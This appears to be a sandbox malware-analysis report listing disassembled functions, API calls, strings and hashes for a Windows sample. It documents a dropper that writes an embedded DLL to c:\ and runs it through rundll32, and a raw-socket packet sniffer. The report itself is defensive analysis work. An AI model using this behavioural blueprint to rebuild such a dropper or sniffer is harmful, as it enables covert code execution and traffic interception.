Opcode ID: 554b2b36ebdbdca76e7e5890daf673f7ab6b653fcba5f1f76f6d923fca04a6ed
Instruction ID: fd41096d9372b4dda24e723cd552983fee23a0ad75fa497c59ca918bbf17219f
Opcode Fuzzy Hash: 554b2b36ebdbdca76e7e5890daf673f7ab6b653fcba5f1f76f6d923fca04a6ed
Instruction Fuzzy Hash: 26418BB0941208AFDB209FA4D945AAA7BBCEB49711B20053FF942B72E5D67949408B28

Function 004017B2 Relevance: 7.6, APIs: 5, Instructions: 67
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,80000000,00000000,00000000,00000003,00000080,00000000), ref: 004017ED
memset.MSVCRT ref: 00401814
ReadFile.KERNELBASE(?,?,00001000,?,00000000), ref: 0040182C
memcpy.MSVCRT(?,?,?), ref: 00401847
CloseHandle.KERNELBASE(?), ref: 00401859

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: File$CloseCreateHandleReadmemcpymemset
String ID:
API String ID: 3052882905-0
Opcode ID: 017f0ce2d653050c7a9920fa0cc463a4687a2ca091f219d135d742b73b5de0a5
Instruction ID: e342418d90b68a1d807531b6c152f1c53a72d441e6209e681be522bd43cf2dcc
Opcode Fuzzy Hash: 017f0ce2d653050c7a9920fa0cc463a4687a2ca091f219d135d742b73b5de0a5
Instruction Fuzzy Hash: 8111BEB2900148BFDB119F98CC81BDA37ADEB08355F108076F709F6190D2B0AF848B68

Function 00401C6A Relevance: 7.5, APIs: 5, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00401C6F
#1134.MFC42(00000000), ref: 00401C7F

Part of subcall function 00401E2A: _EH_prolog.MSVCRT ref: 00401E2F
Part of subcall function 00401E2A: #324.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E41
Part of subcall function 00401E2A: #567.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E4F
Part of subcall function 00401E2A: #567.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E66
Part of subcall function 00401E2A: #1168.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E91
Part of subcall function 00401E2A: #1146.MFC42(00000080,0000000E,00000080,00000066,?,?,?,?,00401C92,00000000), ref: 00401E9F
Part of subcall function 00401E2A: LoadIconA.USER32(00000000,00000080), ref: 00401EA5

__p___argv.MSVCRT ref: 00401C9F
ExitProcess.KERNEL32 ref: 00401CBE

Part of subcall function 00401867: #823.MFC42(00100000), ref: 00401879
Part of subcall function 00401867: memset.MSVCRT ref: 00401888
Part of subcall function 00401867: __p___argv.MSVCRT ref: 00401897
Part of subcall function 00401867: __p___argv.MSVCRT ref: 004018B9
Part of subcall function 00401867: Sleep.KERNEL32(00000064), ref: 004018CE
Part of subcall function 00401867: GetTickCount.KERNEL32 ref: 00401906
Part of subcall function 00401867: GetTempPathA.KERNEL32(00000104,?), ref: 00401936
Part of subcall function 00401867: wsprintfA.USER32 ref: 00401953
Part of subcall function 00401867: CreateFileA.KERNELBASE(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 00401973
Part of subcall function 00401867: #823.MFC42(?), ref: 0040197F

#2514.MFC42 ref: 00401CCA

Part of subcall function 00401CEC: _EH_prolog.MSVCRT ref: 00401CF1
Part of subcall function 00401CEC: #693.MFC42(?,?,00401CDE), ref: 00401D19
Part of subcall function 00401CEC: #609.MFC42(?,?,00401CDE), ref: 00401D25
Part of subcall function 00401CEC: #641.MFC42(?,?,00401CDE), ref: 00401D30

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: H_prolog__p___argv$#567#823$#1134#1146#1168#2514#324#609#641#693CountCreateExitFileIconLoadPathProcessSleepTempTickmemsetwsprintf
String ID:
API String ID: 4041608318-0
Opcode ID: cf390052f602c471bc6786218be2683cf026073658c5c6fef72292eb93939f19
Instruction ID: 6f737f08b995e68c62b9dff43b60cf904c1485ff509acee86472e34ce1649ac1
Opcode Fuzzy Hash: cf390052f602c471bc6786218be2683cf026073658c5c6fef72292eb93939f19
Instruction Fuzzy Hash: 17016D319511158BEB14FB65C90A7DCB7B4AF08328F0042BAA465B21E1EF789A45CA58

Function 00402B5A Relevance: 4.5, APIs: 3, Instructions: 29
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(?,?), ref: 00402B72
WSACleanup.WS2_32 ref: 00402B9D
WSAGetLastError.WS2_32 ref: 00402BA3

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: CleanupErrorLastStartup
String ID:
API String ID: 286295645-0
Opcode ID: b0ec8336bf00a6052941da9178b3fceddae8ddc46f726d68ca548fb70960ad9d
Instruction ID: 2be7791f72972009722b799a77b565cb98efc3fc237316151d06e583dd982ed8
Opcode Fuzzy Hash: b0ec8336bf00a6052941da9178b3fceddae8ddc46f726d68ca548fb70960ad9d
Instruction Fuzzy Hash: 1FF0EC715002186FDB206F35DE1CAD77BF89B0C355F005476E54AE3181D67468458758

Function 004030AE Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 6
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#1576.MFC42(?,?,?,V0@,00403056,00000000,?,0000000A), ref: 004030BE

Strings

V0@, xrefs: 004030AE

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: #1576
String ID: V0@
API String ID: 1976119259-1055587443
Opcode ID: 371cf650558777b7497c1cc85ae61873b6a5021e63d3067b0ccf166c38b5e6e7
Instruction ID: 091081438a8891efaa48dbd6cf97df1c67080aae43ea6bdf83243b43297a0175
Opcode Fuzzy Hash: 371cf650558777b7497c1cc85ae61873b6a5021e63d3067b0ccf166c38b5e6e7
Instruction Fuzzy Hash: 51B00836018396ABCB02DF91880192ABEA6BB98705F488C1DB2A1140A187768538EB16

Non-executed Functions

Function 0040229F Relevance: 36.9, APIs: 19, Strings: 2, Instructions: 165
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 004022A4

Part of subcall function 004028B1: strncpy.MSVCRT ref: 0040290F
Part of subcall function 004028B1: inet_ntoa.WS2_32(?), ref: 00402920
Part of subcall function 004028B1: strncpy.MSVCRT ref: 00402927
Part of subcall function 004028B1: inet_ntoa.WS2_32(?), ref: 00402932
Part of subcall function 004028B1: strncpy.MSVCRT ref: 00402939
Part of subcall function 004028B1: sprintf.MSVCRT ref: 0040299E
Part of subcall function 004028B1: sprintf.MSVCRT ref: 004029A8

EnterCriticalSection.KERNEL32(?), ref: 00402305
#540.MFC42 ref: 0040230E
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00402323
#3998.MFC42(00000001,00000000,?,00000000,00000000,00000000,00000000), ref: 00402342
#6907.MFC42(?,00000001,?,00000001,00000000,?,00000000,00000000,00000000,00000000), ref: 00402352
#6907.MFC42(?,00000002,?,?,00000001,?,00000001,00000000,?,00000000,00000000,00000000,00000000), ref: 00402362
#2818.MFC42(?,%d/%d,?,?,?,00000002,?,?,00000001,?,00000001,00000000,?,00000000,00000000,00000000), ref: 00402376
#6907.MFC42(?,00000003,?,00000000), ref: 00402388
GetSystemTime.KERNEL32(?,?,00000003,?,00000000), ref: 00402391
#2818.MFC42(?,%2.2d-%2.2d %2.2d:%2.2d:%2.2d,?,?,?,?,?), ref: 004023B9
#6907.MFC42(?,00000004,?), ref: 004023CB
#6007.MFC42(?,00000000,00000004,00000000,00000000,00000000,00000000,00000000,?,00000004,?), ref: 004023DD
#823.MFC42(00000008,?,00000000,00000004,00000000,00000000,00000000,00000000,00000000,?,00000004,?), ref: 004023E8
#823.MFC42(?,?,00000000,00000004,00000000,00000000,00000000,00000000,00000000,?,00000004,?), ref: 00402408
memcpy.MSVCRT(00000000,?,?,?,00000000,00000004,00000000,00000000,00000000,00000000,00000000,?,00000004,?), ref: 0040241B
#6007.MFC42(?,00000000,00000004,00000000,00000000,00000000,00000000,?,?,00000004,?), ref: 00402432
LeaveCriticalSection.KERNEL32(?,?,00000000,00000004,00000000,00000000,00000000,00000000,?,?,00000004,?), ref: 00402449
#800.MFC42 ref: 00402456

Strings

%d/%d, xrefs: 00402370
%2.2d-%2.2d %2.2d:%2.2d:%2.2d, xrefs: 004023B3

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: #6907$strncpy$#2818#6007#823CriticalSectioninet_ntoasprintf$#3998#540#800EnterH_prologLeaveMessageSendSystemTimememcpy
String ID: %2.2d-%2.2d %2.2d:%2.2d:%2.2d$%d/%d
API String ID: 53958731-669394826
Opcode ID: 237fc60831bdeb9d19871970aaccf79bb7805ddc871af4d619914d0d9ebb9e60
Instruction ID: aa3e698a986a9efcd30e7cd5d6354eb5ceda86bede962053babdd167d9a98621
Opcode Fuzzy Hash: 237fc60831bdeb9d19871970aaccf79bb7805ddc871af4d619914d0d9ebb9e60
Instruction Fuzzy Hash: 935148B2900209AEDF119FA5CD4AEEFBB7DFB48308F00442AF605B61D1D6B95D04CB64

Function 0040271C Relevance: 18.1, APIs: 12, Instructions: 109
networkthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32(00000002,00000003,00000000), ref: 00402730
gethostname.WS2_32(?,00000100), ref: 0040274E
gethostbyname.WS2_32(?), ref: 00402764
htons.WS2_32(?), ref: 00402779
memcpy.MSVCRT(?,?,?), ref: 00402791
bind.WS2_32(?,00000002,00000010), ref: 004027A2
setsockopt.WS2_32(?,0000FFFF,00000004,?,00000004), ref: 004027C9
setsockopt.WS2_32(?,00000000,00000002,?,00000004), ref: 004027DB
WSAIoctl.WS2_32(?,98000001,?,00000004,?,00000028,?,00000000,00000000), ref: 00402804
WSAGetLastError.WS2_32 ref: 0040280F
CreateThread.KERNEL32(00000000,00000000,Function_000026B0,?,00000000,00000000), ref: 00402824
closesocket.WS2_32(?), ref: 00402838

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: setsockopt$CreateErrorIoctlLastThreadbindclosesocketgethostbynamegethostnamehtonsmemcpysocket
String ID:
API String ID: 4186165289-0
Opcode ID: 901dd120511eaf3c56c0a535516480d7a34dcafb24756b6e58f3c865b715a434
Instruction ID: cc647fa9d97eb8ab40f50e3a18fc5453a93f7f03a17443a7d33be6df37dc61fd
Opcode Fuzzy Hash: 901dd120511eaf3c56c0a535516480d7a34dcafb24756b6e58f3c865b715a434
Instruction Fuzzy Hash: DF3160B6500604AFD7209FA4DD49F9BBBB8EF84720F10862AF625E61E0D7B49944CB54

Function 00402138 Relevance: 13.6, APIs: 9, Instructions: 63windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00402144
#470.MFC42 ref: 00402154
SendMessageA.USER32(?,00000027,?,00000000), ref: 0040216B
GetSystemMetrics.USER32(0000000B), ref: 00402179
GetSystemMetrics.USER32(0000000C), ref: 0040217F
GetClientRect.USER32(?,?), ref: 0040218A
DrawIcon.USER32(?,?,?,?), ref: 004021B7
#755.MFC42 ref: 004021C0
#2379.MFC42 ref: 004021CB

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: MetricsSystem$#2379#470#755ClientDrawIconIconicMessageRectSend
String ID:
API String ID: 1397574227-0
Opcode ID: 1ec0889933b8568e71d179df5b286e334d8a5b22727fd9a6730dc2e2a4000510
Instruction ID: ef0e762d43f9ba135a21ed7adfdda79f425eb601d2121b69b903fd342b625570
Opcode Fuzzy Hash: 1ec0889933b8568e71d179df5b286e334d8a5b22727fd9a6730dc2e2a4000510
Instruction Fuzzy Hash: 95115472610219AFCB10ABB9DE4DEAE77B9FB84340F040139B646E70E0DAB4AD04CB54

Function 004026B0 Relevance: 3.0, APIs: 2, Instructions: 39networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,0000FFFF,00000000), ref: 004026D9
WSAGetLastError.WS2_32 ref: 004026E4

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: ErrorLastrecv
String ID:
API String ID: 2514157807-0
Opcode ID: 5be7b8d7eff02e2d61197a09316e23989463b377d0f2ad78a0871316bafee45c
Instruction ID: 1fdd32086d9e9c38df168da1f283ad39edcec163d985acbf857f9f61871e7d04
Opcode Fuzzy Hash: 5be7b8d7eff02e2d61197a09316e23989463b377d0f2ad78a0871316bafee45c
Instruction Fuzzy Hash: 60F028302042004ADB30DB24CD48FB737A99F45710F2449BEFD4AF22D1C6F8E8809669

Function 00414D00 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dc641a110ca9df19878faaf737841f865a9904d38a7bb4b8f4adfe9b60eb3df
Instruction ID: 04587d72bb115fda03d64dfd7cc9ff104913430e0cca27c1a44ccc7680737388
Opcode Fuzzy Hash: 1dc641a110ca9df19878faaf737841f865a9904d38a7bb4b8f4adfe9b60eb3df
Instruction Fuzzy Hash: F4819271214B418FC724CF29C890AAAB7E2FFD5314F14892ED0EA87755D738A849CB58

Function 004028B1 Relevance: 54.5, APIs: 24, Strings: 7, Instructions: 226
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strncpy.MSVCRT ref: 0040290F
inet_ntoa.WS2_32(?), ref: 00402920
strncpy.MSVCRT ref: 00402927
inet_ntoa.WS2_32(?), ref: 00402932
strncpy.MSVCRT ref: 00402939
sprintf.MSVCRT ref: 0040299E
sprintf.MSVCRT ref: 004029A8
htons.WS2_32(FSRPAU), ref: 004029BF
htons.WS2_32(?), ref: 004029C8
htons.WS2_32(00000041), ref: 004029D2
sprintf.MSVCRT ref: 004029E7
sprintf.MSVCRT ref: 004029FA
sprintf.MSVCRT ref: 00402A09
strcpy.MSVCRT(00000000,flag:), ref: 00402A1C
htons.WS2_32(00000000), ref: 00402A2E
htons.WS2_32(?), ref: 00402A39
sprintf.MSVCRT ref: 00402A64
htonl.WS2_32(?), ref: 00402A74
sprintf.MSVCRT ref: 00402A92
sprintf.MSVCRT ref: 00402AA5
memcpy.MSVCRT(00000000,?,00000003), ref: 00402AC2
sprintf.MSVCRT ref: 00402AE1
sprintf.MSVCRT ref: 00402AEB
sprintf.MSVCRT ref: 00402AFF

Strings

FSRPAU, xrefs: 00402A4D, 00402A52
%s:%d, xrefs: 004029F0, 004029F6, 00402A05, 00402A88, 00402A8E, 00402AA1
FSRPAU, xrefs: 00402973, 004029BE
type=%d,code=%d, xrefs: 00402AF9
Len=%d, xrefs: 004029E1
%s%c, xrefs: 00402A5E
flag:, xrefs: 00402A16

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: sprintf$htons$strncpy$inet_ntoa$htonlmemcpystrcpy
String ID: %s%c$%s:%d$FSRPAU$FSRPAU$Len=%d$flag:$type=%d,code=%d
API String ID: 3753906667-237590085
Opcode ID: 3e90cc2f0e4d0af74856bd855762fbf6a17451d38533c024310741cd70ed4ee0
Instruction ID: a53d3f022a17ab101e70b7c90ccdcaa7e2f0d08fd5b2c767e99d7cb1b96ba65e
Opcode Fuzzy Hash: 3e90cc2f0e4d0af74856bd855762fbf6a17451d38533c024310741cd70ed4ee0
Instruction Fuzzy Hash: 0171D172900248AEDB11DFA8CC44EEF7BBCAF48300F044466FA44F7191D678EA54CBA8

Function 00401160 Relevance: 43.9, APIs: 22, Strings: 3, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00401165
#537.MFC42(00406598), ref: 0040117E
#537.MFC42(00406598,00406598), ref: 0040118B
#540.MFC42(00406598,00406598), ref: 00401197
#2818.MFC42(?,%6.6X,00000000,00406598,00406598), ref: 004011BE
#941.MFC42(00406044), ref: 004011D5
#939.MFC42(?), ref: 004011E1
#6199.MFC42(?,00406598,00406598), ref: 004011F0
#2614.MFC42(?,00406598,00406598), ref: 004011F8
#2818.MFC42(?,%2.2X ,?,?,00406598,00406598), ref: 00401247
#941.MFC42(00406038), ref: 0040125C
#939.MFC42(?), ref: 00401268
#2818.MFC42(?,00406034,?,?), ref: 0040128B
#2818.MFC42(?,00406030,?), ref: 0040129E
#939.MFC42(?,?), ref: 004012AC
#941.MFC42(00406044,?,00406598,00406598), ref: 004012D5
#941.MFC42(00406044,00406044,?,00406598,00406598), ref: 004012DE
#6199.MFC42(?,?,00406598,00406598), ref: 00401301
#6199.MFC42(?,?,?,00406598,00406598), ref: 0040130F
#800.MFC42(?,?,?,00406598,00406598), ref: 0040131B
#800.MFC42(?,?,?,00406598,00406598), ref: 00401327
#800.MFC42(?,?,?,00406598,00406598), ref: 00401333

Strings

%6.6X, xrefs: 004011B8
D`@, xrefs: 004012CC
%2.2X , xrefs: 00401241

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: #2818#941$#6199#800#939$#537$#2614#540H_prolog
String ID: %2.2X $%6.6X$D`@
API String ID: 3308870338-4221501666
Opcode ID: 20f37d9169c0ec6644e067ea3bad11262685dea0dac38ba345f792653d56fa1a
Instruction ID: b9ffc5d633f4d1405bf7982aaa5686ba721c81fb604f9ffe8360b73c1c5d8c85
Opcode Fuzzy Hash: 20f37d9169c0ec6644e067ea3bad11262685dea0dac38ba345f792653d56fa1a
Instruction Fuzzy Hash: 67516072C0011A9ADF05EBA5C986AEEB7B8AF65308F10407FE502B71D2D77C5E09C769

Function 00401A2D Relevance: 38.7, APIs: 16, Strings: 6, Instructions: 209
filesleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(00000000,00000084,IMAGE), ref: 00401A46
LoadResource.KERNEL32(00000000,00000000), ref: 00401A54
SizeofResource.KERNEL32(00000000,00000000), ref: 00401A69
LockResource.KERNEL32(00000000,00000000), ref: 00401A74
memcpy.MSVCRT(00000000,00000000), ref: 00401A7C
wsprintfA.USER32 ref: 00401B2B
CreateDirectoryA.KERNEL32(?,00000000), ref: 00401B38
Sleep.KERNEL32(00000064), ref: 00401B40
memset.MSVCRT ref: 00401B4D
wsprintfA.USER32 ref: 00401B74
CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 00401B90
WriteFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00401BA2
CloseHandle.KERNEL32(00000000), ref: 00401BA9
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00401BFA
wsprintfA.USER32 ref: 00401C21
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 00401C5C

Strings

D, xrefs: 00401C37
%s\%s.dll, xrefs: 00401B6E
c:\windows\system32\rundll32.exe, xrefs: 00401BB1
c:\%s, xrefs: 00401B25
IMAGE, xrefs: 00401A39
%s "%s",QueryPluginInterface %s, xrefs: 00401C1B

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: Resource$CreateFilewsprintf$CloseDirectoryFindHandleLoadLockModuleNameProcessSizeofSleepWritememcpymemset
String ID: %s "%s",QueryPluginInterface %s$%s\%s.dll$D$IMAGE$c:\%s$c:\windows\system32\rundll32.exe
API String ID: 729933531-2732814730
Opcode ID: a011a6132aa91ba2efff9dd4d5e13aad28595f414ba8ab3d4d84eb12781f2273
Instruction ID: 922f0755652aa06ef568071101b0f14043c98d7905c641deb23ee6d51d764bee
Opcode Fuzzy Hash: a011a6132aa91ba2efff9dd4d5e13aad28595f414ba8ab3d4d84eb12781f2273
Instruction Fuzzy Hash: F86193B2A00248BEDB119BF4CD45FDFBBBCAB89304F1044BAF345B6181DA749A458F65

Function 00401F19 Relevance: 36.2, APIs: 24, Instructions: 151
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00401F1E
#4710.MFC42 ref: 00401F2B
GetSystemMenu.USER32(?,00000000), ref: 00401F36
#2863.MFC42(00000000), ref: 00401F3D
#540.MFC42(00000000), ref: 00401F4C
#4160.MFC42(00000065,00000000), ref: 00401F5B
AppendMenuA.USER32(?,00000800,00000000,00000000), ref: 00401F79
AppendMenuA.USER32(?,00000000,00000010,?), ref: 00401F85
#800.MFC42(00000065,00000000), ref: 00401F90
SendMessageA.USER32(?,00000080,00000001,?), ref: 00401FB1
SendMessageA.USER32(?,00000080,00000000,?), ref: 00401FBF
#823.MFC42(00000128), ref: 00401FC6
#2086.MFC42(00000082), ref: 00401FFE
#6215.MFC42(00000005,00000082), ref: 0040200F
SendMessageA.USER32(?,00001037,00000000,00000000), ref: 00402021
SendMessageA.USER32(?,00001036,00000000,00000000), ref: 00402033
SendMessageA.USER32(?,00001037,00000000,00000000), ref: 00402042
SendMessageA.USER32(?,00001036,00000000,00000000), ref: 00402050
#3996.MFC42(00000000,00406328,00000000,00000028,000000FF), ref: 00402065
#3996.MFC42(00000001,00406320,00000000,0000008C,000000FF,00000000,00406328,00000000,00000028,000000FF), ref: 0040207C
#3996.MFC42(00000002,00406318,00000000,0000008C,000000FF,00000001,00406320,00000000,0000008C,000000FF,00000000,00406328,00000000,00000028,000000FF), ref: 0040208E
#3996.MFC42(00000003,00406310,00000000,00000037,000000FF,00000002,00406318,00000000,0000008C,000000FF,00000001,00406320,00000000,0000008C,000000FF,00000000), ref: 004020A1
#3996.MFC42(00000004,00406308,00000000,00000064,000000FF,00000003,00406310,00000000,00000037,000000FF,00000002,00406318,00000000,0000008C,000000FF,00000001), ref: 004020B4
